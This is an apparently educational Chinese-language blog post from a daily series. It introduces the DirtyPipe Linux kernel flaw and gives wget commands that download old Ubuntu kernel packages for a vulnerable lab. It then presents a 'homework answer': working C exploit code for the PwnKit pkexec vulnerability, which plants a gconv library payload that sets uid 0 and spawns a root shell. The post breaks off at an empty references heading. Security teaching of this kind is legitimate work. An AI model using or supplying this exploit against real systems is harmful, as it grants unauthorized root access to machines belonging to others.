只有在這個骯髒的世界,你們才能義正嚴詞的說那些人是無辜的 - 火線追緝令(1995)
終於到第15天了,賽程也差不多來到一半。今天則是要講另一個 Linux 核心提權漏洞叫做 DirtyPipe,而且厲害的是它是由一個程式開發者發現的,先來看看這個漏洞的相關資訊吧。
漏洞相關資訊
這個漏洞本身跟 Linux kernel 背後的程式有關,那先來說說何為 Linux kernel。Linux Kernel 本身提供應用程式介面(API),通過該介面使用者程式能與核心及硬體互動。那一些重要的作業系統功能也會由 Linux kernel 來負責,像是行程管理、記憶體管理、中斷管理、檔案系統之類的。所以針對這個漏洞環境的架設,必須要考慮到使用的 Linux kernel 的版本。但因為 Linux kernel 負責的功能至關重要,所以切換核心版本的時候要特別小心,弄個不好有可能會開不了機之類的。
那更新 Linux kernel 的方法大概有三種,第一種是透過 apt/yum 方式安裝,第二種則是去下載 deb/rpm 檔案進行安裝,第三種則是下載原始碼編譯及安裝。難度的話越後面的越為困難,但是原始碼編譯可客製化的程度更高。因為這次使用的 Ubuntu 22.04 可透過 apt 下載的 kernel 版本均已修復,因此不得已只好透過 deb 的方式去做安裝及切換。
步驟如下 :
wget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.15.15/amd64/linux-headers-5.15.15-051515-generic_5.15.15-051515.202201160435_amd64.deb
wget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.15.15/amd64/linux-headers-5.15.15-051515_5.15.15-051515.202201160435_all.deb
wget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.15.15/amd64/linux-image-unsigned-5.15.15-051515-generic_5.15.15-051515.202201160435_amd64.deb
wget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.15.15/amd64/linux-modules-5.15.15-051515-generic_5.15.15-051515.202201160435_amd64.deb
Pwnkit 回家作業解答 :
步驟如下 :
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
//" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; /bin/sh\");\n"
" exit(0);\n"
"}";
int main(int argc, char *argv[]) {
//建立資料夾跟編譯部分都不需要
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
參考資料 :